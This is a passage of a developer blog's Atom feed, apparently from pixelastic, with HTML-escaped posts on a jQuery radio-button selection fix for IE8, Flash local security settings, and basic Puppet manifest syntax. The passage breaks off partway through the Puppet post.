&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;  width&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;:&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;px&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;  height&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;:&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;px&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;  margin:&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;px&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The &lt;code&gt;margin:0px&lt;/code&gt; is here to clear any margin you might have defined around your
element.&lt;/p&gt;
</content>
  </entry>
  <entry>
    <title>Selecting checked radio button with jQuery and IE8</title>
    <link href="https://blog.pixelastic.com/2011/09/07/selecting-checked-radio-button-jquery-ie8/"/>
    <updated>2011-09-07T00:00:00Z</updated>
    <id>https://blog.pixelastic.com/2011/09/07/selecting-checked-radio-button-jquery-ie8</id>
    <content type="html">&lt;p&gt;Ever tried to select the checked &lt;code&gt;radio&lt;/code&gt; button of a form using jQuery? Well I
did, and hundreds of time before, and never ran into any issues.&lt;/p&gt;
&lt;p&gt;Today&#39;s the first time, and it involves my dear friend IE8. Seems like either
jQuery or IE8 had trouble with my &lt;code&gt;radio&lt;/code&gt; button selection.&lt;/p&gt;
&lt;p&gt;I finally managed to get what I wanted but with a sightly different syntax for
IE8.&lt;/p&gt;
&lt;h2&gt;First, the markup&lt;/h2&gt;
&lt;pre class=&quot;shiki oroshi&quot; style=&quot;background-color:#0c0f15;color:#d1d5db&quot; tabindex=&quot;0&quot; wordDiffLines=&quot;&quot;&gt;&lt;code class=&quot;language-html&quot;&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;&amp;#x3C;&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;form&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt; id&lt;/span&gt;&lt;span style=&quot;color:#22D3EE&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&quot;myForm&quot;&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;  &amp;#x3C;&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;input&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt; name&lt;/span&gt;&lt;span style=&quot;color:#22D3EE&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&quot;data[Payment][value]&quot;&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt; id&lt;/span&gt;&lt;span style=&quot;color:#22D3EE&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&quot;payment_1500&quot;&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt; type&lt;/span&gt;&lt;span style=&quot;color:#22D3EE&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&quot;radio&quot;&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt; value&lt;/span&gt;&lt;span style=&quot;color:#22D3EE&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&quot;1500&quot;&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt; /&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;  &amp;#x3C;&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;label&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt; for&lt;/span&gt;&lt;span style=&quot;color:#22D3EE&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&quot;payment_1500&quot;&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;&gt;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;1500&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;&amp;#x3C;/&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;label&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;&gt;&amp;#x3C;&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;br&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt; /&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;  &amp;#x3C;&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;input&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt; name&lt;/span&gt;&lt;span style=&quot;color:#22D3EE&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&quot;data[Payment][value]&quot;&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt; id&lt;/span&gt;&lt;span style=&quot;color:#22D3EE&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&quot;payment_2000&quot;&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt; type&lt;/span&gt;&lt;span style=&quot;color:#22D3EE&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&quot;radio&quot;&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt; value&lt;/span&gt;&lt;span style=&quot;color:#22D3EE&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&quot;2000&quot;&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt; /&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;  &amp;#x3C;&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;label&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt; for&lt;/span&gt;&lt;span style=&quot;color:#22D3EE&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&quot;payment_2000&quot;&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;&gt;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;2000&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;&amp;#x3C;/&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;label&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;&gt;&amp;#x3C;&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;br&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt; /&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;  &amp;#x3C;&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;input&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt; name&lt;/span&gt;&lt;span style=&quot;color:#22D3EE&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&quot;data[Payment][value]&quot;&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt; id&lt;/span&gt;&lt;span style=&quot;color:#22D3EE&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&quot;payment_5000&quot;&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt; type&lt;/span&gt;&lt;span style=&quot;color:#22D3EE&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&quot;radio&quot;&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt; value&lt;/span&gt;&lt;span style=&quot;color:#22D3EE&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&quot;5000&quot;&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt; /&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;  &amp;#x3C;&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;label&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt; for&lt;/span&gt;&lt;span style=&quot;color:#22D3EE&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&quot;payment_5000&quot;&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;&gt;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;5000&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;&amp;#x3C;/&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;label&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;&gt;&amp;#x3C;&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;br&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt; /&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;  &amp;#x3C;&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;button&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt; id&lt;/span&gt;&lt;span style=&quot;color:#22D3EE&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&quot;test&quot;&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;&gt;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;Select&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;&amp;#x3C;/&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;button&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;&amp;#x3C;/&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;form&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Pretty simple, isn&#39;t it? I only have three &lt;code&gt;radio&lt;/code&gt; buttons, and I would like to
get the selected value when pressing the Select &lt;code&gt;button&lt;/code&gt;.&lt;/p&gt;
&lt;h2&gt;What should work everywhere&lt;/h2&gt;
&lt;p&gt;The following code is pretty straightforward and I expected it to just work.&lt;/p&gt;
&lt;pre class=&quot;shiki oroshi&quot; style=&quot;background-color:#0c0f15;color:#d1d5db&quot; tabindex=&quot;0&quot; wordDiffLines=&quot;&quot;&gt;&lt;code class=&quot;language-js&quot;&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#F87171&quot;&gt;var&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt; selected1&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt; $&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&#39;#myForm input[name=&quot;data&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;&#92;&#92;&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;[Payment&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;&#92;&#92;&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;]&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;&#92;&#92;&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;[value&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;&#92;&#92;&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;]&quot;]:checked&#39;&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#F87171&quot;&gt;var&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt; value1&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt; selected1&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;val&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;()&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;console&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;log&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;value1&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Note that we have to double escape the &lt;code&gt;[&lt;/code&gt; and &lt;code&gt;]&lt;/code&gt; characters and wrap in quotes
the &lt;code&gt;name&lt;/code&gt; value. Nothing fancy, just classic string protection. This code works
perfectly on Firefox and Chrome, and I deployed it in production for a few
weeks.&lt;/p&gt;
&lt;p&gt;Then, I got report of users that would have love to use the form, but got an
error because no value was selected. I tested and tested it again without
finding the cause. Then it occurs to me that all those reports came from user
using IE8.&lt;/p&gt;
&lt;p&gt;So I rebooted my VM, launched IE8 and was able to reproduce the bug on my first
try.&lt;/p&gt;
&lt;h2&gt;What the heck is IE8 doing?&lt;/h2&gt;
&lt;p&gt;Well, that&#39;s a deep question, and I&#39;ve ask this myself countless times before.
Once more, IE is doing things in its own weird way.&lt;/p&gt;
&lt;p&gt;After some fiddling, I managed to make it work, by just slightly altering the
syntax.&lt;/p&gt;
&lt;pre class=&quot;shiki oroshi&quot; style=&quot;background-color:#0c0f15;color:#d1d5db&quot; tabindex=&quot;0&quot; wordDiffLines=&quot;&quot;&gt;&lt;code class=&quot;language-js&quot;&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#F87171&quot;&gt;var&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt; selected2&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt; $&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&#39;#myForm input[name=&quot;data&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;&#92;&#92;&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;[Payment&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;&#92;&#92;&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;]&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;&#92;&#92;&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;[value&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;&#92;&#92;&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;]&quot;]&#39;&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;filter&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&#39;:checked&#39;&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#F87171&quot;&gt;var&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt; value2&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt; selected2&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;val&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;()&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;console&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;log&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;value2&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;; &lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Yep, that&#39;s right, I simply moved the &lt;code&gt;:checked&lt;/code&gt; selector in its own &lt;code&gt;filter&lt;/code&gt;
call and it worked. Took me a while to figure, but this finally turned out to be
an easy fix.&lt;/p&gt;
&lt;p&gt;You can test it yourself with
&lt;a href=&quot;http://jsfiddle.net/pixelastic/WS53Q/1/&quot;&gt;this jsFiddle example&lt;/a&gt;. Don&#39;t forget
to enable the log panel in IE8 by pressing F12 before running the code.&lt;/p&gt;
</content>
  </entry>
  <entry>
    <title>Enabling Flash calls to distant server when working locally</title>
    <link href="https://blog.pixelastic.com/2011/08/30/enabling-flash-calls-distant-server-working-locally/"/>
    <updated>2011-08-30T00:00:00Z</updated>
    <id>https://blog.pixelastic.com/2011/08/30/enabling-flash-calls-distant-server-working-locally</id>
    <content type="html">&lt;p&gt;Default Flash security config prevents you from loading content from an external
website when running a Flash file locally.&lt;/p&gt;
&lt;p&gt;To prevent this, you have to go to [this link](http://www.macromedia.com/suppo
rt/documentation/en/flashplayer/help/settings_manager04.html) and add the
directory where your file is located.&lt;/p&gt;
&lt;p&gt;Fortunatly, you can specify a top level directory and all subdirectories will
inherit the authorization.&lt;/p&gt;
&lt;p&gt;If you don&#39;t do this step, your Flash file will refuse to download external
content.&lt;/p&gt;
</content>
  </entry>
  <entry>
    <title>First steps with puppet</title>
    <link href="https://blog.pixelastic.com/2011/08/26/steps-puppet/"/>
    <updated>2011-08-26T00:00:00Z</updated>
    <id>https://blog.pixelastic.com/2011/08/26/steps-puppet</id>
    <content type="html">&lt;p&gt;I&#39;ve never used puppet before this project. It in installed on our main server,
monitoring the whole pool of servers used to host our game. It includes php
hosts, sql data nodes and sql front servers as well as a couple of load
balancer.&lt;/p&gt;
&lt;p&gt;Puppet keeps a snapshot of the config that must be deployed on each server and
keep them in sync. We just have to edit the puppet files, and the same config is
replicated on each server.&lt;/p&gt;
&lt;p&gt;I did not install puppet, our sysadmin did it, and I have no idea how he did it
actually, I&#39;m just fiddling with specific configurations here. But as it took me
quite a bit to grasp, here is how it works, and some quirks to be aware of.&lt;/p&gt;
&lt;h2&gt;The puppet files&lt;/h2&gt;
&lt;p&gt;Puppet is installed in &lt;code&gt;/etc/puppet&lt;/code&gt;. Our different modules are stored in
&lt;code&gt;/etc/puppet/modules&lt;/code&gt;. A module is a set of programs and config files that work
together.&lt;/p&gt;
&lt;p&gt;For example, we have one for the &lt;code&gt;loadbalancers&lt;/code&gt;, one for the &lt;code&gt;http&lt;/code&gt; part, one
for &lt;code&gt;mysql&lt;/code&gt;, and even one for &lt;code&gt;vim&lt;/code&gt;. I&#39;m going to focus on the &lt;code&gt;http&lt;/code&gt; one,
because it contains config files for memcache, lighttpd and php.&lt;/p&gt;
&lt;p&gt;Modules are split in two parts: the manifest and the files. You can find each in
&lt;code&gt;/etc/puppet/modules/{modulename}/manifests&lt;/code&gt; and in
&lt;code&gt;/etc/puppet/modules/{modulename}/files&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;As you can imagine, the manifest contains a list of directive telling puppet
what programs need to be installed, what directories need to be present (with
specific user and group) as well as what files need to be copied.&lt;/p&gt;
&lt;p&gt;The &lt;code&gt;files/&lt;/code&gt; directory contains all the files that puppet might need for this
module. It will copy them from this directory to the final servers, according to
the manifest config.&lt;/p&gt;
&lt;h2&gt;Manifest syntax&lt;/h2&gt;
&lt;p&gt;The manifest uses a very simple syntax, using blocks of &lt;code&gt;key =&amp;gt; value&lt;/code&gt; to define
config. I&#39;ve mostly use the simple &lt;code&gt;file&lt;/code&gt; directives, to copy files and create
directories.&lt;/p&gt;
&lt;p&gt;One can also use &lt;code&gt;package&lt;/code&gt; directories, to install things and handle
dependencies, but I haven&#39;t messed with that (yet) so I won&#39;t talk about them
here.&lt;/p&gt;
&lt;p&gt;Here are a couple of simple file orders:&lt;/p&gt;
&lt;pre class=&quot;shiki oroshi&quot; style=&quot;background-color:#0c0f15;color:#d1d5db&quot; tabindex=&quot;0&quot; wordDiffLines=&quot;&quot;&gt;&lt;code class=&quot;language-puppet&quot;&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#F87171&quot;&gt;file&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt; { &lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&quot;/etc/lighttpd/scripts&quot;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#EA580C&quot;&gt;  ensure  &lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;=&gt; &lt;/span&gt;&lt;span style=&quot;color:#EA580C&quot;&gt;directory&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#EA580C&quot;&gt;  owner   &lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;=&gt; root,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#EA580C&quot;&gt;  group   &lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;=&gt; root,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#EA580C&quot;&gt;  mode    &lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;=&gt; &lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;550&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#F87171&quot;&gt;file&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt; { &lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&quot;/etc/lighttpd/lighttpd.conf&quot;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#EA580C&quot;&gt;  owner   &lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;=&gt; root,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#EA580C&quot;&gt;  group   &lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;=&gt; root,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#EA580C&quot;&gt;  mode    &lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;=&gt; &lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;644&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#EA580C&quot;&gt;  source  &lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;=&gt; &lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&quot;puppet:///http/$target/lighttpd/lighttpd.conf&quot;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#EA580C&quot;&gt;  require &lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;=&gt; &lt;/span&gt;&lt;span style=&quot;color:#F87171&quot;&gt;Package&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&quot;lighttpd&quot;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;],&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#EA580C&quot;&gt;  notify  &lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;=&gt; &lt;/span&gt;&lt;span style=&quot;color:#F87171&quot;&gt;Service&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&quot;lighttpd&quot;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;],&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The first part will create a &lt;code&gt;/etc/lighttpd/scripts&lt;/code&gt; directory on the final
server, with a user and group &lt;code&gt;root&lt;/code&gt; and 550 permissions mode.&lt;/p&gt;
&lt;p&gt;The second part will copy the file stored in
&lt;code&gt;/etc/puppet/modules/http/{target}/lighttpd/lighttpd.conf&lt;/code&gt; on the puppet server
to &lt;code&gt;/etc/lighttpd/lighttpd.conf&lt;/code&gt; on the final server. I&#39;m not quite sure what
the &lt;code&gt;require&lt;/code&gt; and &lt;code&gt;notify&lt;/code&gt; lines are for.&lt;/p&gt;
&lt;p&gt;&lt;code&gt;$target&lt;/code&gt; is a special variable. In my case it can take either the value &lt;code&gt;valid&lt;/code&gt;
or &lt;code&gt;prod&lt;/code&gt;, allowing me to define custom config based on the environment. Valid
and prod environment are supposed to have the exact same config, but separating
them allow for testing a config change in one environment without potentially
breaking the working prod environment. I&#39;m not exactly sure how this &lt;code&gt;$target&lt;/code&gt;
var is set, this is one more thing our sysadmin did. Thanks to him.&lt;/p&gt;
&lt;h2&gt;Pulling changes&lt;/h2&gt;
&lt;p&gt;Puppet is configured to check its servers every 30mn. If some config files
changed, or a directory isn&#39;t there anymore, it will recreate them, according to
the manifest. But you can force the pulling of changes from the final servers
themselves. Just log to one of the servers puppet is monitoring and type&lt;/p&gt;
&lt;pre class=&quot;shiki oroshi&quot; style=&quot;background-color:#0c0f15;color:#d1d5db&quot; tabindex=&quot;0&quot; wordDiffLines=&quot;&quot;&gt;&lt;code class=&quot;language-sh&quot;&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#F87171&quot;&gt;$&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; sudo&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; puppetd&lt;/span&gt;&lt;span style=&quot;color:#EA580C&quot;&gt; --test&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The &lt;code&gt;--test&lt;/code&gt; argument is a bit misleading. It actually does not seem to do any
test at all, it simply pulls the puppet files from the puppet server and updates
